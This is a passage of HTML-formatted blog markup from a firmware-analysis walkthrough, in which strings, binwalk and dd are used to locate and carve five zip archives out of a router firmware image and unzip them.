 57:&lt;/span&gt; n%hxMKGK7.&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum58&quot;&gt;  58:&lt;/span&gt; pfs-fr.imgUT&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum59&quot;&gt;  59:&lt;/span&gt; ar0700mp.bin&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum60&quot;&gt;  60:&lt;/span&gt; W&amp;gt;~E&amp;gt;{to&#39;&lt;/span&gt;=yr&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum61&quot;&gt;  61:&lt;/span&gt; ?BUUnX/Lqj&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum62&quot;&gt;  62:&lt;/span&gt; jXF?W8o50o&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum63&quot;&gt;  63:&lt;/span&gt; ar0700mp.binPK&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;As we can see form the strings’ output we have some file names showing up, soho.bin, pfs.img, pfs-en.img, pfs-fr.img and ar0700mp.bin.&lt;/p&gt;&lt;br /&gt;&lt;div style=&quot;border-bottom: silver 1px solid; text-align: left; border-left: silver 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; max-height: 200px; font-size: 8pt; overflow: auto; border-top: silver 1px solid; cursor: text; border-right: silver 1px solid; padding-top: 4px&quot; id=&quot;codeSnippetWrapper&quot;&gt;&lt;br /&gt;&lt;div style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot; id=&quot;codeSnippet&quot;&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum1&quot;&gt;   1:&lt;/span&gt; root@system:~/firmware&lt;span style=&quot;color: #008000&quot;&gt;# binwalk 1500WG_SP_FW3_0_6_c.bin &lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum2&quot;&gt;   2:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum3&quot;&gt;   3:&lt;/span&gt; DECIMAL         HEX             DESCRIPTION&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum4&quot;&gt;   4:&lt;/span&gt; -------------------------------------------------------------------------------------------------------&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum5&quot;&gt;   5:&lt;/span&gt; 0               0x0             Zip archive data,  at least v2&lt;span style=&quot;color: #ff0000&quot;&gt;.&lt;/span&gt;0 to extract&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum6&quot;&gt;   6:&lt;/span&gt; 951296          0xE8400         Zip archive data,  at least v2&lt;span style=&quot;color: #ff0000&quot;&gt;.&lt;/span&gt;0 to extract&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum7&quot;&gt;   7:&lt;/span&gt; 977920          0xEEC00         Zip archive data,  at least v2&lt;span style=&quot;color: #ff0000&quot;&gt;.&lt;/span&gt;0 to extract&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum8&quot;&gt;   8:&lt;/span&gt; 1115136         0x110400        Zip archive data,  at least v2&lt;span style=&quot;color: #ff0000&quot;&gt;.&lt;/span&gt;0 to extract&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum9&quot;&gt;   9:&lt;/span&gt; 1263616         0x134800        Zip archive data,  at least v2&lt;span style=&quot;color: #ff0000&quot;&gt;.&lt;/span&gt;0 to extract&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;We can see that binwalk identified 5 different archives and we have from strings 5 different filenames. Proceeding with extracting the files, “dd” command to the rescue, &lt;/p&gt;&lt;br /&gt;&lt;div style=&quot;border-bottom: silver 1px solid; text-align: left; border-left: silver 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; max-height: 200px; font-size: 8pt; overflow: auto; border-top: silver 1px solid; cursor: text; border-right: silver 1px solid; padding-top: 4px&quot; id=&quot;codeSnippetWrapper&quot;&gt;&lt;br /&gt;&lt;div style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot; id=&quot;codeSnippet&quot;&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum1&quot;&gt;   1:&lt;/span&gt; &lt;a href=&quot;mailto:root@system:~/firmware&quot;&gt;root@system:~/firmware&lt;/a&gt;&lt;span style=&quot;color: #008000&quot;&gt;# dd if=1500WG_SP_FW3_0_6_c.bin bs=1 skip=0 count=951296 of=first.zip        &lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum2&quot;&gt;   2:&lt;/span&gt; 951296+0 records in&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum3&quot;&gt;   3:&lt;/span&gt; 951296+0 records out&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum4&quot;&gt;   4:&lt;/span&gt; 951296 bytes (951 kB) copied, 4&lt;span style=&quot;color: #ff0000&quot;&gt;.&lt;/span&gt;68149 s, 203 kB/s&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;p&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum5&quot;&gt;   5:&lt;/span&gt; &lt;a href=&quot;mailto:root@system:~/firmware&quot;&gt;root@system:~/firmware&lt;/a&gt;&lt;span style=&quot;color: #008000&quot;&gt;# f&lt;/span&gt;&lt;span style=&quot;color: #008000&quot;&gt;ile first.zip &lt;/span&gt;&lt;/p&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum6&quot;&gt;   6:&lt;/span&gt; first&lt;span style=&quot;color: #ff0000&quot;&gt;.&lt;/span&gt;zip: Zip archive data, at least v2&lt;span style=&quot;color: #ff0000&quot;&gt;.&lt;/span&gt;0 to extract&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum7&quot;&gt;   7:&lt;/span&gt; &lt;a href=&quot;mailto:root@system:~/firmware&quot;&gt;root@system:~/firmware&lt;/a&gt;&lt;span style=&quot;color: #008000&quot;&gt;# unzip first.zip &lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum8&quot;&gt;   8:&lt;/span&gt; Archive:  first&lt;span style=&quot;color: #ff0000&quot;&gt;.&lt;/span&gt;zip&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum9&quot;&gt;   9:&lt;/span&gt;   inflating: soho&lt;span style=&quot;color: #ff0000&quot;&gt;.&lt;/span&gt;bin                &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum10&quot;&gt;  10:&lt;/span&gt; &lt;a href=&quot;mailto:root@system:~/firmware&quot;&gt;root@system:~/firmware&lt;/a&gt;&lt;span style=&quot;color: #008000&quot;&gt;# dd if=1500WG_SP_FW3_0_6_c.bin bs=1 skip=951296 count=26624 of=second.zip&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum11&quot;&gt;  11:&lt;/span&gt; 26624+0 records in&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum12&quot;&gt;  12:&lt;/span&gt; 26624+0 records out&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum13&quot;&gt;  13:&lt;/span&gt; 26624 bytes (27 kB) copied, 0&lt;span style=&quot;color: #ff0000&quot;&gt;.&lt;/span&gt;0675911 s, 394 kB/s&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum14&quot;&gt;  14:&lt;/span&gt; root@system:~/firmware&lt;span style=&quot;color: #008000&quot;&gt;# unzip second.zip &lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum15&quot;&gt;  15:&lt;/span&gt; Archive:  second&lt;span style=&quot;color: #ff0000&quot;&gt;.&lt;/span&gt;zip&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum16&quot;&gt;  16:&lt;/span&gt;   inflating: pfs&lt;span style=&quot;color: #ff0000&quot;&gt;.&lt;/span&gt;img&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum17&quot;&gt;  17:&lt;/span&gt; root@system:~/firmware&lt;span style=&quot;color: #008000&quot;&gt;# dd if=1500WG_SP_FW3_0_6_c.bin bs=1 skip=977920 count=137216 of=third.zip &lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum18&quot;&gt;  18:&lt;/span&gt; 137216+0 records in&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum19&quot;&gt;  19:&lt;/span&gt; 137216+0 records out&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum20&quot;&gt;  20:&lt;/span&gt; 137216 bytes (137 kB) copied, 3&lt;span style=&quot;color: #ff0000&quot;&gt;.&lt;/span&gt;63918 s, 37&lt;span style=&quot;color: #ff0000&quot;&gt;.&lt;/span&gt;7 kB/s&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum21&quot;&gt;  21:&lt;/span&gt; root@system:~/firmware&lt;span style=&quot;color: #008000&quot;&gt;# unzip third.zip &lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum22&quot;&gt;  22:&lt;/span&gt; Archive:  third&lt;span style=&quot;color: #ff0000&quot;&gt;.&lt;/span&gt;zip&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum23&quot;&gt;  23:&lt;/span&gt;   inflating: pfs-en&lt;span style=&quot;color: #ff0000&quot;&gt;.&lt;/span&gt;img             &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum24&quot;&gt;  24:&lt;/span&gt; root@system:~/firmware&lt;span style=&quot;color: #008000&quot;&gt;# dd if=1500WG_SP_FW3_0_6_c.bin bs=1 skip=1115136 count=148480 of=forth.zip       &lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum25&quot;&gt;  25:&lt;/span&gt; 148480+0 records in&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum26&quot;&gt;  26:&lt;/span&gt; 148480+0 records out&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum27&quot;&gt;  27:&lt;/span&gt; 148480 bytes (148 kB) copied, 2&lt;span style=&quot;color: #ff0000&quot;&gt;.&lt;/span&gt;04028 s, 72&lt;span style=&quot;color: #ff0000&quot;&gt;.&lt;/span&gt;8 kB/s&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum28&quot;&gt;  28:&lt;/span&gt; root@system:~/firmware&lt;span style=&quot;color: #008000&quot;&gt;# unzip forth.zip &lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum29&quot;&gt;  29:&lt;/span&gt; Archive:  forth&lt;span style=&quot;color: #ff0000&quot;&gt;.&lt;/span&gt;zip&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum30&quot;&gt;  30:&lt;/span&gt;   inflating: pfs-fr&lt;span style=&quot;color: #ff0000&quot;&gt;.&lt;/span&gt;img&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; 